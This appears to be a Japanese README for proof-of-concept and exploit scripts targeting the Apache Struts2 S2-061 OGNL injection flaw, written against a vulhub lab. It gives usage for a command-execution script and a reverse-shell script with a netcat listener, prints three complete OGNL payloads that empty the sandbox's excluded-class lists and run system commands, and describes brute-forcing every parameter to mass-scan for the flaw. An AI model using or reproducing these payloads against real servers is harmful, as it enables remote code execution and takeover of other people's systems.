
S2-061のペイロード、および対応する簡単なPoC/Exp
S2-061
これらのスクリプトは、vulhub の struts2-059/061 脆弱性テスト環境に基づいて作成されています。汎用的なものではないため、先輩方のご指導をお願いいたします。
struts2-061-poc.py(簡易システムコマンド実行可能)
使用方法:python struts2-061-poc.py http://ip:port command
例:python struts2-061-poc.py http://192.168.0.7:8080 whoami
S2-061-shell.py(リバースシェル取得可能)
使用方法:
まずマシン A で指定ポートをリスンします(例:nc -lvvp 7777)
スクリプトを実行:python2 S2-061-shell.py target_url、target_url は脆弱性環境のアドレスで、形式は http://ip:port
スクリプトの指示に従い、マシン A の IP とリスンポートを入力すると、マシン A のリスンウィンドウでシェルを取得できます
以下は、数人の先輩方が作成したペイロードです:
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("whoami")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
%{(#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#application.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#application.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#application.map2.setBean(#application.get('map').get('context')) == true).toString().substring(0,0) + (#application.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#application.map3.setBean(#application.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#application.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#application.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))}
%{(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + (#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'whoami'}))}
注意:上記の OGNL コードを URL エンコードしてからツールで使用してください。
新バージョンの struts2 では、パラメータを介して OGNL 式を解析することができなくなりました。そのため、スクリプトを使用して本脆弱性の有無を一括スキャンしたい場合は、全パラメータを直接ブルートフォースし、ページ内に期待される結果テキストが含まれているかどうかを判断することを検討してください。
例:
%{ 'gcowsec-' + (2000 + 20).toString()}
期待される結果:
gcowsec-2020
スクリプトを使用して結果にこれが含まれているかを判断すればよいです。